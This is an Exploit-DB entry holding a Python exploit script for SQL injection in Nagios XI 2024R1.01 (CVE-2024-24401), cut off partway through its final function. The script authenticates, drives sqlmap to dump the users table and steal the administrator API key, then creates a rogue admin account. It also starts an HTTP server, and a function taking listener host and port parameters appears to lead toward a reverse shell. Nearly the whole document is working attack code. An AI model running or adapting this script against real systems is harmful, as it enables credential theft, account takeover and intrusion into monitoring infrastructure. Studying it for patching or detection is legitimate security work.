Exploit-DB #51925
Description: Nagios XI Version 2024R1.01 - SQL Injection
Type: webapps
Platform: multiple
Date: 2024-03-25
Author: Jarod Jaslow (MAWK)

Exploit:
# Exploit Title: NAGIOS XI SQLI
# Google Dork: [if applicable]
# Date: 02/26/2024
# Exploit Author: Jarod Jaslow (MAWK) https://www.linkedin.com/in/jarod-jaslow-codename-mawk-265144201/
# Vendor Homepage: https://www.nagios.com/changelog/#nagios-xi
# Software Link: https://github.com/MAWK0235/CVE-2024-24401
# Version: Nagios XI Version 2024R1.01
# Tested on: Nagios XI Version 2024R1.01 LINUX
# CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24401
#

import requests
import subprocess
import argparse
import re
import urllib3
import os
import random
import string
from colorama import Fore, Style

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)



def serviceLogin(user,password):
    r = requests.post(f'http://{IP}/nagiosxi/api/v1/authenticate?pretty=1',data={'username':user,'password':password,"valid_min":"5"},verify=False)  
    print(f"{Fore.MAGENTA}[+] Authenticating with captured credtials to API....")
    match = re.search(r'auth_token": "(.*)"',r.text)
    if match:
        token = match.group(1)
        print(f'{Fore.MAGENTA}[+] Token: ' + token)
        r = requests.get(f'http://{IP}/nagiosxi/login.php?token={token}', verify=False)
        cookie = r.headers['Set-Cookie']
        cookie = cookie.split(',')[0]
        match = re.search(r'nagiosxi=(.*);', cookie)
        cookie = match.group(1)
        print(f"{Fore.MAGENTA}[+] Auth cookie is: " + cookie)
        return cookie
    else:
        print(f'{Fore.RED}[-] Authentication Failed..{Style.RESET_ALL}')
        exit()

def sqlmap(IP,username,password):
    
    print(f'{Fore.MAGENTA}[+] Starting SQLMAP...')
    session = requests.session()
    s = session.get(f'http://{IP}/nagiosxi/index.php', verify=False)
    match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
    nsp = match.group(1)
    print(f"{Fore.MAGENTA}[+] NSP captured: " + nsp)
    data = {"nsp": nsp, "page": "auth", "debug": '', "pageopt": "login", "username": username, "password": password, "loginButton": ''}
    s = session.post(f'http://{IP}/nagiosxi/login.php', data=data)
    print(f"{Fore.MAGENTA}[+] Authenticated as User..")
    print(f"{Fore.MAGENTA}[+] Accepting license Agreement...")
    s = session.get(f'http://{IP}/nagiosxi/login.php?showlicense', verify=False)
    match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
    nsp = match.group(1)
    data = {"page": "/nagiosxi/login.php", "pageopt": "agreelicense", "nsp": nsp, "agree_license": "on"}
    session.post(f"http://{IP}/nagiosxi/login.php?showlicense", data=data)
    print(f"{Fore.MAGENTA}[+] Performing mandatory password change ARGH")
    newPass = "mawk"
    data = {"page": "/nagiosxi/login.php", "pageopt": "changepass", "nsp": nsp,"current_password": password, "password1": newPass, "password2": newPass, "reporttimesubmitbutton": ''}
    session.post(f"http://{IP}/nagiosxi/login.php?forcepasswordchange", data=data)
    s= session.get(f'http://{IP}/nagiosxi/')
    match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
    nsp = match.group(1)
    cookie = s.cookies.get('nagiosxi')
    sqlmap_command = f'sqlmap --flush-session -u "http://{IP}/nagiosxi//config/monitoringwizard.php/1*?update=1&nextstep=2&nsp={nsp}&wizard=mysqlserver" --cookie="nagiosxi={cookie}" --dump -D nagiosxi -T xi_users --drop-set-cookie --technique=ET --dbms=MySQL -p id --risk=3 --level=5 --threads=10 --batch'
    #print(sqlmap_command)
    sqlmap_command_output = subprocess.Popen(sqlmap_command,shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True )
    try:
        for line in iter(sqlmap_command_output.stdout.readline, ''):
            if "| Nagios Administrator |" in line:
                match = re.search(r"Nagios Administrator \| (.*?) \|", line)
                if match:
                    adminKey= match.group(1)
                    print(f"{Fore.MAGENTA}[+] Admin Key recovered: " + adminKey)
                    return adminKey
                else:
                    print(f"{Fore.RED}[-] Could not pull Admin Key :(....{Style.RESET_ALL}")
                    exit()
                break
        print("[-] SQLMAP capture FAILED..")
        sqlmap_command_output.terminate()

    except KeyboardInterrupt:
        print(f"{Fore.RED}[-] SQLMAP interrupted. Cleaning up...{Style.RESET_ALL}")
        sqlmap_command_output.terminate()
        sqlmap_command_output.communicate()
        exit()

def createAdmin(IP,adminKey):
    characters = string.ascii_letters + string.digits
    random_username = ''.join(random.choice(characters) for i in range(5))
    random_password = ''.join(random.choice(characters) for i in range(5))

    data = {"username": random_username, "password": random_password, "name": random_username, "email": f"{random_username}@mail.com", "auth_level": "admin"}
    r = requests.post(f'http://{IP}/nagiosxi/api/v1/system/user?apikey={adminKey}&pretty=1', data=data, verify=False)
    if "success" in r.text:
        print(f'{Fore.MAGENTA}[+] Admin account created...')
        return random_username, random_password
    else:
        print(f'{Fore.RED}[-] Account Creation Failed!!! :(...{Style.RESET_ALL}')
        print(r.text)
        exit()

def start_HTTP_server():
    subprocess.Popen(["python", "-m", "http.server", "8000"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)

def adminExploit(adminUsername, adminPassword, IP, LHOST,LPORT):
    print(f"{Fore.MAGENTA}[+] Conducting mandatory password change...")
    session = requests.session()
    s = session.get(f'http://{IP}/nagiosxi/index.php', verify=False)
    match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
    nsp = match.group(1)
    print(f"{Fore.MAGENTA}[+] NSP captured: " + nsp)
    data = {"nsp": nsp, "page": "auth", "debug": '', "pageopt": "login", "username": adminUsername, "password": adminPassword, "loginButton": ''}
    s = session.post(f'http://{IP}/nagiosxi/login.php', data=da